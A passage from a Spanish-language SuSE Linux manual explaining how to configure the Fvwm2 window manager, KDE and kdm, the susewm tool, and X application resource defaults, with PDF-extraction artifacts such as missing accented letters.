Para leer una Manpage de Fvwm (versin 1) se introduce p. ej.:


fvwmman FvwmButtons
Para leer una Manpage de Fvwm95 introduzca p. ej.:
fvwm95man FvwmButtons
As se accede a la Manpage sobre FvwmButtons del correspondiente pa-
quete. Tambin se puede acceder a todas las manpage de los distintos WM
desde el men; estas Manpages especiales se encuentran en el men `Window
Manager', sub-men `Manpages'.
Para no tener que escribir un fichero de configuracin desde cero, se puede
encargar a susewm la creacin de una plantilla y adaptarla posteriormente a
las necesidades. En el apartado 10.5 hay una explicacin sobre susewm.

Ficheros de configuracin del Fvwm2


El Fvwm2 se configura con dos ficheros distintos:
 El fichero que contiene la configuracin global debera existir siempre.
Se encuentra en el directorio /usr/X11R6/lib/X11/fvwm2 y se llama
.fvwm2rc.
 Un fichero de configuracin para cada usuario que no debe existir nece-
sariamente. Se llama ~/.fvwm2rc y se encuentra en el directorio personal
del respectivo usuario.
Cuando se instala SuSE Linux, el paquete susewm se encarga de generar
siempre un fichero de configuracin global para el Fvwm2.
4 En SuSE Linux el Fvwm2 se encuentra en el paquete fvwm, serie xwm; el antiguo Fvwm est

en el paquete fvwm1, serie xwm.

246
10.3. Ajustes del Fvwm2

El Fvwm2 lee todos los ficheros de configuracin cuando arranca5. Primero


intenta leer el fichero de configuracin individual del usuario y despus, si
ste no existe, el fichero de configuracin global.
Tambin los mdulos del Fvwm2 leen estos ficheros de configuracin cuando
se inician, con la diferencia de que cada mdulo solo lee la parte que corre-
sponde a su propia configuracin.
En realidad es muy recomendable generar un fichero de configuracin indi-
vidual para cada usuario, para que ste lo pueda modificar a su gusto.

Despus de haber modificado algn fichero de configuracin hace falta


reiniciar el gestor de ventanas (WM), para que las modificaciones tengan
efecto.

La configuracin de SuSE tiene por defecto una opcin en el `Work menu'


llamada `Window Manager' que permite el reinicio del WM. El efecto es
igual al de un reinicio del servidor-X. Tambin se puede reiniciar el WM des-
de un X terminal (XTerm) o desde la consola de texto. Para ello se introduce:
tux@tierra: > killall -10 fvwm2
Solo con la ayuda del mdulo FvwmConfig se pueden modificar los ajustes
del Fvwm, pero las posibilidades de configuracin de este mdulo son bas-
tante reducidas y adems no se pueden guardar. Los mdulos FvwmSave y
FvwmSaveDesk permiten grabar el estado actual del WM, pero sus ficheros
no pueden ser ledos automticamente cuando el WM se inicia nuevamente.
Si hay ms inters en el tema se recomienda leer las Manpages correspondi-
entes a cada mdulo.

10.3 Ajustes del Fvwm2


Generalidades
Ahora le llega el turno al fichero de configuracin personalizado que se debe
haber creado con anterioridad segn las explicaciones del apartado 10.5.
Aparte de la posibilidad de generar el fichero con susewm, se puede us-
ar tambin el fichero ~/.fvwm2rc suministrado por los programadores
de Fvwm, que se encuentra en el directorio /usr/doc/packages/fvwm/
system.fvwm2rc.
Primero se debe cargar el fichero ~/.fvwm2rc en el editor preferido y a
continuacin se discuten las posibilidades de configuracin.

Qu sucede al iniciar el Fvwm2?


Se pueden repasar las lneas hasta llegar al comentario que se indica en el
Fichero 10.3.1, Pgina 248.
Por debajo de estas lneas se encuentran todos los procesos que se llevan a
cabo cuando el Fvwm2 se reinicia. Se carga el mdulo FvwmBanner que
5 El Windowmanager se inicia desde el fichero /usr/X11R6/lib/X11/xinit/xinitrc o des-

de el fichero ~/.xinitrc en el directorio personal del usuario. Para conseguirlo hay que modi-
ficar la variable de entorno $WINDOWMANAGER de tal modo que apunte hacia el directorio
del correspondiente WM , p. ej. /usr/X11R6/bin/fvwm2. Ver tambin apartado 10.1.3.

247
10. El Windowmanager La ventana a su PC

#########################################################
# #
# initialization function head #
# common to all wms #
# #
#########################################################

Fichero 10.3.1: InitFunction en el fichero ~/.fvwm2rc

representa el logotipo, se inician varios xterm tal como un xpmroot que


permite colocar imgenes en el fondo (o sea en la ventana del superusuario
(ingl. Root Window)). Puede usar cualquier programa capaz de confeccionar
la imagen de fondo como p. ej. programmxli, xv, etc.
Por ejemplo para xv el comando sera :
+ "I" Exec xv -quit -root -owncmap -maxpect ~/pics/imagen13.gif
Se debera mencionar la imagen de fondo nuevamente bajo los procesos
que se llevan a cabo reiniciando el Fvwm2, o sea incluirla en la funcin
RestartFunction. Esta se encuentra en el Fichero 10.3.2, Pgina 248.

#########################################################
# #
# restart function #
# common to all wms #
# #
#########################################################

Fichero 10.3.2: InitFunction en el fichero ~/.fvwm2rc

Muchas veces las secciones InitFunction y RestartFunction se pare-


cen mucho, ya que ambas se encargan de iniciar el WM. No obstante, en
RestartFunction se descarta generalmente el reinicio de la imagen de fon-
do del Windowmanager.
Las versiones ms recientes de Fvwm (en Fvwm, Fvwm2, Fvwm95,
Bowman, AfterStep desde SuSE Linux 5.0) contienen adems de las fun-
ciones InitFunction y RestartFunction, una funcin adicional llamada
ExitFunction. El nombre ya indica que se trata de una funcin de or-
denar que permite indicar cules son los programas que se deben ejecutar
antes del reinicio del WM o antes de salir del mismo. As se consigue p. ej.
borrar la imagen de fondo antes de iniciar una nueva con el reinicio del WM.

Colores y fuentes
Los ajustes para colores y fuentes se encuentran en el Fichero 10.3.3, Pgi-
na 249.
Aqu se puede modificar todo a gusto propio y elegir los colores que ms
agraden entre los que estn disponibles que por otra parte dependen p. ej. de
la tarjeta grfica. Pulse el botn derecho del mouse y entre primero al men

248
10.3. Ajustes del Fvwm2

#########################################################
# #
# colors and fonts #
# #
#########################################################

Fichero 10.3.3: Ajustes de color y de fuente en el fichero ~/.fvwm2rc

`System', despus al men `Information'. All aparece la opcin `Color


palette', que muestra una ventana con todos los colores disponibles de los
que ahora se puede elegir uno. Los nombres de los colores se encuentran en
el fichero /usr/X11R6/lib/X11/rgb.txt.
Un poco ms abajo se encuentran lneas del siguiente tipo:
WindowFont -misc-fixed-bold-r-normal-*-13-*-75-75-c-80-iso8859-1
Se trata de una descripcin sistemtica de un tipo de letra o fuente (ingl.
font). Todas las fuentes se describen de una manera semejante sobre la que
no se discuten aqu sus detalles. Para simplificar la definicin de sus nombres
existe una serie de alias; todas las fuentes se encuentran generalmente en
el directorio /usr/X11R6/lib/X11/fonts en cuyos subdirectorios existe
un fichero fonts.alias. Este contiene las abreviaciones usuales para las
fuentes:
variable -*-helvetica-bold-r-normal-*-*-120-*-*-*-*-iso8859-1
5x7 -misc-fixed-medium-r-normal--7-70-75-75-c-50-iso8859-1

Iconos

Los iconos se definen de la forma como lo indica el Fichero 10.3.4, Pgi-


na 249.

#
# others
#

Style "xterm" Icon Terminal.xpm


Style "xosview" NoTitle, Sticky
Style "xosview" UsePPosition

Fichero 10.3.4: Iconos para determinadas ventanas

En esta seccin se puede asignar un icono a las correspondientes aplica-


ciones. Lo nico que se debe tener en cuenta es que el icono se encuen-
tre en el IconPath (la rama que apunta a los iconos), que se define en las
primeras lneas del fichero ~/.fvwm2rc. En principio se puede usar cualquier
icono de cualquiera de las ramas mencionadas por detrs del denominador
PixmapPath.
Si un icono se encuentra en un directorio fuera de la rama mencionada, tendra
que indicar el nombre completo de directorio del mismo.

249
10. El Windowmanager La ventana a su PC

En el caso de querer dar a GhostView un fantasma como icono, en la rama


de iconos encontrar uno con el nombre ghostbusters.xpm. En este caso,
se aade la siguiente lnea al prrafo:
Style "ghostview" Icon ghostbusters.xpm
Ya est! De esta forma pueden indicar los iconos para prcticamente to-
das las aplicaciones, pero la mayora ya tiene sus iconos estndar. En todo
caso, se necesita saber el nombre correcto de la aplicacin (ms exacto: el
nombre de la ventana de la aplicacin6), ya que indicar xTerm en lugar de
xterm no funcionara. Para conocer el nombre de una ventana se entra desde
el men `Windowmanager', `Modules' a `Ident' (Nombre de programa
FvwmIdent) y se selecciona la ventana.

Cursor
Con el programa xsetroot es posible modificar la apariencia del cursor y (con
ciertas restricciones) la imagen de fondo. El programa se inicia con:
tux@tierra: > xsetroot -cursor <bitmapfile>
Aqu <bitmapfile> representa un bitmap de libre eleccin. Los bitmaps
se encuentran por defecto en /usr/X11R6/include/X11/bitmaps. Se
puede seleccionar uno a su gusto o crear uno propio, p. ej. con bitmap.

Focus (Enfoque)
Una caracterstica especialmente estimada de la familia de los Fvwm-WM,
es la posibilidad de modificar en tiempo de ejecucin el comportamiento
de las ventanas al cambiar la ventana activa. Tambin se puede guardar
permanentemente en el fichero de configuracin el comportamiento respecto
a Focus y a Raising.
Se denomina Enfoque a la propiedad del WM de pasar las entradas y clicks
de mouse actuales hacia una determinada ventana. Para ello existen 3 posi-
bilidades:

 Se debe seleccionar una ventana con un click de mouse, para pasar p. ej.
con el teclado, comandos al proceso que se visualiza en ella. Este com-
portamiento es el estndar en Windows u OS/2 y se llama en ingls Click
to focus.
 Desplazando la flecha del mouse sobre una ventana, sta se activa au-
tomticamente. Este comportamiento se denomina Focus follows mouse.
Si la flecha del mouse sale de la ventana, sta se desactiva; tambin es as
cuando la flecha se encuentra sobre el fondo.
 Una variacin avanzada es el comportamiento Sloppy Focus que ofrecen
el Fvwm2 y el Fvwm95. En esta variante, el enfoque se comporta igual
que el Focus follows mouse, con la diferencia que el enfoque (la acti-
vacin) se queda con la ventana hasta que se selecciona otra, o sea que, el
enfoque se queda con la ventana tambin cuando el puntero est sobre el
fondo.
6 Al fin y al cabo el gestor de ventanas administra ventanas!

250
10.4. KDE K Desktop Environment

El Fvwm2 permite configurar el comportamiento de activacin (enfoque) para


cada ventana por separado. Como muchos otros ajustes, el del enfoque se
realiza con un comando Style; el siguiente define el comportamiento como
ClickToFocus para todas las ventanas:
Style "*" ClickToFocus
De la misma forma se define SloppyFocus y FocusFollowsMouse, siendo
la ltima la configuracin por defecto de Fvwm2.

10.3.1 Autoraise
Aparte de focus tambin interesa el comportamiento de raising, que de-
termina cundo una ventana se coloca en primer plano. El comportamiento
por defecto es el de mantener siempre la posicin en relacin a las dems
ventanas (es decir: por detrs o por delante). Con un click del mouse sobre el
borde o sobre la barra de ttulo, la ventana pasa al primer plano.
Algunos usuarios estn acostumbrados a que la ventana pase al primer
plano cuando el puntero del mouse est sobre ella, comportamiento de-
nominado AutoRaising. Solo tiene sentido activarlo en combinacin
con FocusFollowsMouse o SloppyFocus, ya que no tiene efecto cuando
ClickToFocus est activado (la configuracin por defecto de Fvwm95).
Para activar AutoRaising se puede iniciar el mdulo AutoRaise del Fvwm
desde el men, con: `Window Manager', `Modules', `AutoRaise
On/Off'. Para que se active permanentemente hace falta poner en el fichero
de configuracin del Fvwm2 una entrada para la funcin InitFunction y
otra para RestartFunction:
Function InitFunction
+ "I" Module FvwmAuto 200

Function RestartFunction
+ "I" Module FvwmAuto 200
El valor 200 indica el tiempo de espera en milisegundos antes de pasar la
ventana al primer plano. Este tiempo de espera es muy razonable ya que sin
l cualquier ventana tocada pasara inmediatamente al primer plano, lo que
puede provocar un continuo parpadeo :-)

10.4 KDE K Desktop Environment


KDE ofrece para Linux un entorno grfico de configuracin sencilla y de
apariencia homognea para muchas aplicaciones. KDE siginifica K Desktop
Environment y es el proyecto de un grupo creciente de programadores que
se form en el otoo de 1996.
KDE ofrece sobre todo, aparte de un gestor de ventanas propio (kwm), un ad-
ministrador de ficheros/navegador (kfm), un sistema de ayuda general basado
en documentos HTML (kdehelp), Manpages y pginas de informacin GNU.
Existe tambin una multitud de aplicaciones ms o menos complejas, tiles
para el trabajo diario (p. ej. gestor de correo, lector de noticias, juegos, her-
ramientas de sistema, etc.).

251
10. El Windowmanager La ventana a su PC

KDE esta completamente basado en URL. Esto significa que todas las ra-
mas y referencias a ficheros se traspasan y se procesan en un formato nico
(p. ej. como referencia a una pgina HTML, a un fichero en el sistema de
ficheros local, a una pgina de ayuda, a un servidor FTP, etc.). As es posi-
ble contemplar muchos tipos de ficheros (que parecen distintos) con un nico
visualizador (ingl. viewer).
Adems, existe para el usuario la posibilidad de realizar muchas tareas con
Arrastrar y colocar (ingl. Drag & Drop), p. ej. la de copiar un fichero desde
un servidor FTP a un directorio local.
El sistema de ayuda de KDE representa una herramienta potente ya que se
ha notificado a todos los autores de aplicaciones KDE de aadir la docu-
mentacin en formato HTML a la ya existente. Desde las aplicaciones es
posible acceder a las pginas de ayuda que concuerdan con el contexto, usan-
do el botn `Ayuda'. No solo se puede navegar por el sistema de ayuda, sino
que el navegador permite tambin pasar por las Manpages de Unix o por las
pginas info GNU.
Otras caractersticas de una larga lista son la posibilidad de colocar iconos
como accesos directos sobre el escritorio y la uniformidad, comodidad y
sencillez de la configuracin del KDE y de las aplicaciones escritas para l.
KDE se desarrolla usando el QT Widget Set, que es una especie de bib-
lioteca (parecido a Motif) para disear programas con superficie grfica en el
Sistema X Window. Obsrvese los trminos de licencia de QT, que difieren
de los de la GPL (/usr/doc/packages/qt/LICENSE).

10.4.1 Generalidades
Aqu se explican algunos detalles interesantes de la instalacin de KDE, como
p. ej. la posicin de ficheros en el rbol de directorios, los formatos de los
ficheros de configuracin y sus opciones.
KDE se instala por defecto en el directorio /opt/kde y todos los ficheros im-
portantes para l se encuentran en directorios por debajo de ste. Para acceder
ms fcilmente a estos directorios se define en el fichero /etc/profile la
variable de entorno $KDEDIR (ste se procesa en cada login).
Adems, el directorio /opt/kde/bin se encuentra automticamente en la
rama de bsqueda para ejecutables ($PATH), despus de haber instalado los
paquetes del KDE.
El rbol de directorios del KDE contiene muchos subdirectorios de los cuales
la Tabla 10.1 describe solo los ms importantes.

10.4.2 kdm login grfico


El gestor de pantallas (ingl. Displaymanager) kdm, que est incluido en los
paquetes del KDE, es una ampliacin valiosa de cualquier sistema Linux, en
el cual los usuarios entran con un login grfico (normalmente realizado con
xdm). La Figura 10.5 muestra la configuracin por defecto de kdm en SuSE
Linux.
Hay botones para elegir el gestor de ventanas (`Sessiontype'), para ele-
gir el idioma de los mens (`Language') y para detener la computadora

252
10.4. KDE K Desktop Environment

/opt/kde/bin todos los programas del KDE (ficheros


ejecutables)
/opt/kde/share/config ficheros de configuracin globales
/opt/kde/share/applnk enlaces entre programas (mens)
/opt/kde/share/apps ficheros de aplicaciones del KDE
/opt/kde/share/doc las ayudas en lnea
/usr/doc/packages/kde informacin adicional sobre el KDE

Tabla 10.1: KDE directorios importantes

Figura 10.5: El gestor de pantallas kdm

`(Shutdown)', lo que resulta muy prctico especialmente para computado-


ras de uso personal.
kdm se configura directamente con el fichero de configuracin /opt/kde/
share/config/kdmrc o bien mediante un dilogo de configuracin del
men de KDE.
Independiente de esto, SuSE Linux incorpora un mecanismo adicional que se
ocupa de la configuracin de los gestores de ventana a disposicin y del inicio
de kdm. Estos dos aspectos se manipulan con las variables DISPLAYMANAGER
y KDM_SHUTDOWN en el fichero de configuracin /etc/rc.config. La fun-
cin de las variables se explica en la Pgina 394.
SuSEconfig coloca los valores de estas variables adentro del fichero /opt/
kde/share/config/kdmrc (ver apartado 17.5) y as la configuracin  se
activa en el prximo inicio de kdm que se puede reiniciar p. ej. con Ctrl 
   . La incorporacin de las variables procedentes de /etc/rc.
+ Alt +   7!
config se suprime si se hubiera configurado el kdm en tiempo de ejecucin
valindose del centro de control de KDE. Si a pesar de todo se desea efectuar
la configuracin a travs de /etc/rc.config se debe renombrar el fichero
kdmrc.SuSEconfig (SuSEconfig.kdm lo genera siempre) como kdmrc7.

7 Ambos ficheros se encuentran en el directorio /opt/kde/share/config.

253
10. El Windowmanager La ventana a su PC

10.4.3 Qu es lo fabuloso del KDE?


Despus de saber cmo entrar al sistema con kdm de manera confortable, es
hora de comentar las peculiaridades del KDE. Para ello contemplamos lo que
transcurre despus del login (o despus del comando startx)
La primera vez que se entra al KDE aparecen algunos cuadros de dilogo que
advierten sobre la ausencia de diferentes ficheros y directorios. No se trata de
un error ya que el KDE necesita (y al inicio crea) una serie de directorios en
el directorio del usuario. La estructura de estos es parecida a la que existe en
/opt/kde y se crea en los directorios $HOME/.kde y $HOME/Desktop.
El primer directorio alberga los ficheros de configuracin y el segundo los
enlaces de programas.
Por eso se pueden confirmar los dilogos mencionados simplemente con  - 
 
o con un click del mouse.
Ahora se inicia el kfm (K FileManager). Kfm es un componente bsico del
KDE capaz de gestionar muchos tipos de ficheros ya que sus nombres se
gestionan como URLs. No importa si se copia un fichero desde un servidor
FTP (URL-prefijo ftp:), como fichero local (URL-prefijo file:) o si se
lee una manpage (URL-Prfix man:), una pgina GNU-Info (URL-prefijo
info:) o una pgina web en HTML desde un servidor-web (URL-Prfix
http:); kfm trata igual a todos los ficheros. Incluso es posible visualizar
imgenes de diferentes formatos con un simple click de mouse, valindose de
un visualizador externo. La Figura 10.6 muestra una ventana tpica de kfm.

Figura 10.6: El administrador de ficheros kfm

El usuario se acostumbra muy rpidamente a estas caractersticas tal como


a la posibilidad de copiar ficheros con el sencillo Arrastre y Coloque. A
propsito: con un click del botn derecho sobre el smbolo de un fichero,
se abre un men que ofrece distintas posibilidades de manipulacin, p. ej. el
cambio de las propiedades del fichero o programa.
Las propiedades de un programa, p. ej. los parmetros con los que se inicia,
el icono utilizado para su visualizacin sobre el escritorio, etc. se definen en

254
10.4. KDE K Desktop Environment

un fichero con la extensin .kdelnk. La Figura 10.7 muestra el dilogo para


modificar las propiedades. El fichero con extensin .kdelnk es un fichero
ASCII, que se puede editar. Vale la pena contemplar estos ficheros que se
encuentran p. ej. en ~/Desktop, o para todo el sistema en /opt/kde/
share/applnk. Los ficheros vlidos para todo el sistema representan los
iconos del escritorio y de los mens y su contenido es uniforme, tal como el
de los dems ficheros de configuracin del KDE.

Figura 10.7: El dilogo de definicin de propiedades

Por ltimo, se inicia generalmente la barra de men KPanel, que contiene los
botones para cambiar de escritorio virtual y un men especial (el de la letra
`K') que contiene todos los sub-mens globales del sistema (ver los ficheros
kdelnk). Este men alberga tambin la posibilidad de configurar el KDE con
el centro de control del KDE y de configurar el KPanel.
Pero KPanel es an ms verstil ya que por una parte se pueden colocar iconos
de programas va Drag & Drop sobre el panel e iniciar los correspondientes
programas desde all y por otra parte, KPanel puede absorber aplicaciones
en ejecucin. Estas podran ser p. ej. kwmpager que muestra una panormica
pequea de todos los escritorios virtuales o korn que indica la cantidad de

255
10. El Windowmanager La ventana a su PC

mensajes en un determinado directorio. Estas aplicaciones se ejecutan en-


tonces dentro del KPanel y de este modo son visibles en todos los escritorios.
La Figura 10.8 muestra otro programa del KDE, denominado (kdisplay).

Figura 10.8: La configuracin de la pantalla con kdisplay

Sera muy difcil comentar aqu sobre todos los programas del KDE ya que
la cantidad existente crece rpidamente. El equipo KDE pretende, entre otras
cosas, hacer las computadoras ms fciles de manejar, as que lo ms simple
es entrar al men y empezar a probar el programa que ms interese.
Acceder a la ayuda es tan sencillo como pulsar el botn derecho del mouse
sobre el fondo; aparecer un men con muchas posibilidades, entre ellas el
acceso a la ayuda.
Sin embargo, cabe recordar que muchos paquetes del KDE suministrados
se encuentran en sus primeras fases de desarrollo. Esto quiere decir que,
el programa puede ser inestable o bien reaccionar de manera extraa, pero
normalmente lo que ocurre en estos casos es que el programa se cuelga o se
cierra, lo que pide su reinicializacin.
Por la complejidad de la temtica y su rpido desarrollo no estamos en ca-
pacidad de ofrecerle soporte de instalacin en materia de KDE. No obstante,
tratamos de informarle sobre todas las novedades a travs de nuestro banco de
datos de soporte (ver apartado 1.4.1, Pgina 7). Adems, tiene a su disposi-
cin algunas listas de correo a las que se puede acceder a travs de la pgina
web de KDE (http://www.kde.org). All hay tambin mucha informacin
sobre los orgenes del KDE, la intencin del proyecto y su estado actual.

256
10.4. KDE K Desktop Environment

No queremos olvidar nuestro servidor FTP en el cual se encuentra bajo


ftp://ftp.suse.com/pub/suse_update/KDE, paquetes de KDE espe-
cialmente adaptados a SuSE Linux y que pueden ser instalados cmodamente
usando YaST. Tambin hay all explicaciones adicionales sobre la instalacin
y el uso del KDE en el sistema SuSE Linux.

257
10. El Windowmanager La ventana a su PC

10.5 Configuracin del windowmanager con susewm


Qu representa susewm?
El programa susewm simplifica la configuracin de los gestores de ven-
tana (ingl. windowmanager) Fvwm, Fvwm2, Fvwm95, Bowman, AfterStep
(afterstep), Ctwm, Mwm8 y Kwm9 .
Ya que Fvwm, Bowman y AfterStep tal como Fvwm2 y Fvwm 95 estn
basados en el mismo WM, los cinco WM se configuran de forma parecida
y ofrecen caractersticas similares.
susewm ofrece un lenguaje abstracto de macros en el que se reunen todas las
posibilidades de configuracin de los ocho WM. De esta forma, el usuario
no tiene que administrar cinco diferentes ficheros de configuracin y puede
disfrutas de todas las posibilidades de los ocho WM sin necesidad de conocer
las diferencias individuales entre ellos.
susewm configura incluso los WM Ctwm, Mwm y Kwm, que son completa-
mente diferentes, pero solo se configuran las entradas al men de generacin
automtica. Adems, no se pueden configurar los mens de estos WM direc-
tamente desde el men principal (como es p. ej. el caso del Fvwm2), sino que
se generan siempre para todo el sistema mediante SuSEconfig.
Las diferencias de configuracin se abarcan mediante entradas especficas
para acceder a las posibilidades especiales del WM en cuestin.
susewm configura los mens con los programas y los mdulos soportados
por el WM, en funcin de los paquetes de software realmente instalados. No
se generan entradas en el men de acceso directo para programas que no lo
estn; por lo tanto, cuando se selecciona un programa en el men es porque
est instalado y se puede iniciar.
Otras caractersticas especiales del paquete susewm son:
 Posibilidad de configuracin de ocho gestores de ventana: Fvwm,
Fvwm2, Fvwm95, Bowman, AfterStep, Ctwm, Mwm y Kwm.
 Un directorio central de libreras para todos los WM y, macros uniformes,
para los distintos ficheros de configuracin.
 Ficheros de configuracin adicionales para los distintos WM, para re-
spetar sus particularidades.
 Consideracin de ficheros fuente10 adicionales para la configuracin au-
tomtica (mediante algunas variables en /etc/rc.config).
 Consideracin de ficheros fuente de los usuarios durante la configuracin
automtica en el directorio de usuario.
 Generacin de ficheros de configuracin especficos para los usuarios,
considerando ampliamente las modificaciones (de ficheros de configu-
racin antiguos) hechas por el usuario.
8 El gestor de ventanas MWM forma parte del producto comercial Metrolink Motif y Metrolink

Motif Runtime Libraries.


9 Para saber ms sobre el pseudo-gestor CDEsim (cdesim ) instale el paquete cdesim, serie

xwm y consulte la documentacin en el directorio


/usr/doc/packages/cdesim.
10 Fichero fuente significa aqu cualquier fichero de configuracin de un WM. Lo mejor para que

susewm los procese es que sean ficheros en formato de susewm.

258
10.5. Configuracin del windowmanager con susewm

 Manejo uniforme de los siete gestores de ventana.


 Incorporacin de programas comerciales de amplia difusin a la hora de
generar los mens, aunque estos no formen parte de SuSE Linux.
 Cambio arbitrario entre los WM soportados en tiempo de ejecucin sin
necesidad de modificar scripts de arranque, como p. ej. ~/.xinitrc.
 Nuevas macros de uso simple del tipo m4.

susewm es tcnicamente un paquete de varios scripts, macros del tipo-m4


y una base de datos. La siguiente descripcin no contempla los detalles del
lenguaje m4 y tampoco los de la organizacin del paquete susewm ya que
no se precisa este conocimiento para usar el susewm. Si se desea saber ms
al respecto, debe consultarse la documentacin en lnea as como tambin lo
que se explica en el apartado 10.5.

Cmo usar susewm?


Se puede usar el susewm en dos casos:

 Si an no tiene ningn fichero de configuracin pero desea generar uno


para configurar un entorno de trabajo propio.
 Ya tiene un fichero de configuracin para el WM pero ha instalado o ha
quitado programas con YaST y los mens ya no concuerdan.

Requisitos
Se supone lo siguiente:

 El sistema Linux y el Sistema X Window estn correctamente instalados,


configurados y funcionan.
 Se est usando como WM el Fvwm2 y tal vez est instalado otro de los
WM soportados.
 susewm est instalado (configuracin estndar).
 Ha entrado al sistema como usuario normal (p. ej. usando el usuario
de ejemplo que se genera instalando con YaST); no como superusuario
`root'.
 En YaST se ha configurado English como idioma del men; para los
mens en otros idiomas todo es parecido.

Ahora el cmo: Haciendo un click con el botn izquierdo del mouse sobre el
fondo (ingl. root window) se abre un men con el ttulo`Work menu'. Este
contiene los programas de uso ms frecuente (depende del punto de vista) en
el mundo Unix.
La ltima opcin en este men (`Window Manager') contiene un sub-men
con opciones que permiten modificar la configuracin del WM en ejecu-
cin. Si lo que se desea es modificar otro WM, debe seleccionarse primero
la opcin `Other window managers'. Una de las opciones se llama
`Configuration' y se despliega otro sub-men.
Este sub-men contiene varias opciones:

259
10. El Windowmanager La ventana a su PC

 Las dos primeras permiten leer en pantalla la documentacin de susewm;


se pueden encontrar all muchos detalles que no se mencionan en la pre-
sente explicacin.
 Las prximas opciones permiten la modificacin del fichero de configu-
racin personal, valindose de un Editor.
 El tercer grupo de opciones permite generar un fichero de configuracin
personal para el WM en ejecucin y en el idioma elegido.
Estas opciones estn visualizadas en la Figura 10.9, que muestra el `Work
menu' de Fvwm2.

Figura 10.9: La va de entrada a la configuracin del WM

Seleccionando la segunda o la tercera opcin aparecer una ventana en la cual


se ejecuta mksusewmrc (este programa forma parte del paquete susewm).
Repase el texto que aparece en pantalla y pulse los botones correspondientes
cuando el programa lo pida.
Ya est! Ahora se puede modificar el fichero de configuracin recin gen-
erado a gusto propio. susewm incorporar estas modificaciones al fichero de
configuracin en cuanto se inicie la prxima vez.

Si no se desea modificar demasiado el escritorio, se debe generar primero


el fichero de configuracin como se ha explicado antes y despus modifi-
carlo.
Si por el contrario, la idea es hacer un fichero de configuracin completa-
mente nuevo, no use susewm.

260
10.5. Configuracin del windowmanager con susewm

Un ejemplo

Un escritorio con mucho color es bonito pero quizs no sea muy prctico si el
hardware (memoria, procesador, disco duro) no da abasto. Un WM no debera
ocupar todos los recursos del sistema si se usa p. ej. una cantidad excesiva de
iconos, incluso si son animados.
Por lo tanto, si la computadora va lenta cuando se inicia Fvwm2 o Fvwm95,
lo ms probable es que la culpa sea de los varios centenares de iconos pre-
sentes en los mens que se cargan uno por uno. Para remediarlo hay tres
opciones:

 Desinstalar el paquete 3dpixms y si se puede prescindir de los iconos


grandes, desinstalar tambin el paquete 3dpixm.
 En el men de YaST `Administracin del sistema', `Cambiar
archivo de configuracin' poner SUSEWM_XPM=no, lo que tiene el
mismo efecto. Si se ha cambiado el valor de esta variable directamente en
el fichero /etc/rc.config, se debe ejecutar despus SuSEconfig.
 Quitar los iconos del fichero de configuracin.

La primera opcin es simple: Iniciar YaST, desinstalar los paquetes men-


cionados y punto. YaST se encarga junto con susewm de adaptar el fichero de
configuracin global del WM. Si se tiene un fichero de configuracin person-
al, hace falta realizar la actualizacin explcitamente; para ello puede valerse
del men del WM como se explica en el apartado 10.5.
La segunda opcin no precisa comentarios adicionales.
La tercera opcin: Si an no dispone de un fichero de configuracin personal,
puede generarlo tal como se ha explicado en el apartado 10.5. Despus se
deben reemplazar todas las entradas de men que contienen referencias a
iconos, como lo muestra el Fichero 10.5.1.

AddToMenu thiswmpopup "Fvwm2" Title

+ "Other windowmanager%small.warning_3d.xpm%" Popup otherwmpopup


+ "Configuration%small.checklist2_3d.xpm%" Popup susewmpopup
+ "" Nop
+ "Fvwm2 Restart%small.restart_suse_3d.xpm%" Restart fvwm2
+ "Exit Fvwm2 and X%small.exit.xpm%" Function QuitSave

# end popup thiswmpopup

Fichero 10.5.1: .fvwm2rc con iconos para los mens

Este fichero se convierte en el Fichero 10.5.2.


Con esta preparacin, el Fvwm2 y el Fvwm95 deberan iniciarse bastante
ms rpido. Para que las modificaciones del fichero de configuracin personal
sean permanentes, inicie nuevamente susewm.

261
10. El Windowmanager La ventana a su PC

AddToMenu thiswmpopup "Fvwm2" Title

+ "Other windowmanager" Popup otherwmpopup


+ "Configuration" Popup susewmpopup
+ "" Nop
+ "Fvwm2 Restart" Restart fvwm2
+ "Exit Fvwm2 and X" Function QuitSave

# end popup thiswmpopup

Fichero 10.5.2: .fvwm2rc sin iconos para los mens

10.6 Configuracin general del Sistema X Window


Ahora es el momento de preocuparse del aspecto ptico y de las funciones de
su escritorio por qu quedarse con la configuracin por defecto si existe la
posibilidad de adaptar todo a sus necesidades.
Existen dos posibilidades para tocar la configuracin:

 Los ajustes previos para las aplicaciones del Sistema X Window


 Los ficheros de configuracin del WM, presentados en el apartado 10.2

Ajustes previos de aplicaciones del Sistema X Window

Ajustes globales
Prcticamente todas las aplicaciones programadas para el Sistema X Window
tienen una configuracin por defecto. Esta se encuentra en un fichero que
pertenece a la aplicacin y que se copia durante la instalacin, generalmente
al directorio /usr/X11R6/lib/X11/app-defaults11. En este directorio
se encuentran ficheros como Xarchie, que como ya lo indica su nombre, se
trata del fichero de configuracin central de la aplicacin xarchie. Mirando
el fichero p. ej. con el comando less Xarchie, se podr ver lneas como la
siguiente:
Xarchie.color*background: powder blue
No hay que asustarse por las lneas un poco crpticas y tampoco hace falta
entender directamente todos los comandos. Cada programa desarrollado para
el Sistema X Window est formado por widgets12.
Se distingue un widget-principal que representa la ventana principal de la
aplicacin que se evoca primero. Todos los dems widgets son hijos de
ste, lo que significa que cada widget tiene exactamente un antecesor y
ninguno, uno o varios descendientes; cada widget recibe un nombre nico.
No se debe confundir ventanas con widgets; p. ej. una barra de desplaza-
miento (ingl. scrollbar) es una ventana propia (una ventana sin ninguna deco-
racin), mientras que un widget se forma p. ej. de una barra de desplazamien-
to, un campo con texto y ms (sera un widget complejo).
11 Para una de estas ramas muchas veces vale la pena definir un Shell-Alias.
12 Hay que entender un widget como un elemento de construccin

262
10.6. Configuracin general del Sistema X Window

Como los widgets se despliegan en forma de rbol, se habla tambin de un


rbol de widgets en el cual cada ventana tiene un nombre determinado. Por
lo tanto, es posible acceder a cualquier ventana de un programa a travs de su
nombre.
A continuacin el significado de la lnea de comando anterior:

 La primera palabra hasta el punto (Xarchie) es el nombre del toplevel-


widget (widget-principal) de la aplicacin xarchie (los nombres de las
configuraciones por defecto que son generales para todos los widgets,
comienzan por regla general con mayscula).
 Despus del punto sigue `color' que evidentemente representa el color.
 Despus sigue un asterisco, que tambin podra ser un punto:
Un punto significa que, en cuanto a la jerarqua, no hay ninguna ven-
tana entre estas dos.
Un asterisco indica que puede haber una o varias ventanas entre ellas.
 La palabra background indica finalmente el cambio de color. Se puede
indicar cualquier color definido13.

Ajustes personalizados
Cada usuario puede por supuesto introducir ajustes personalizados.
Para ello existe en el directorio $HOME de cada usuario un fichero
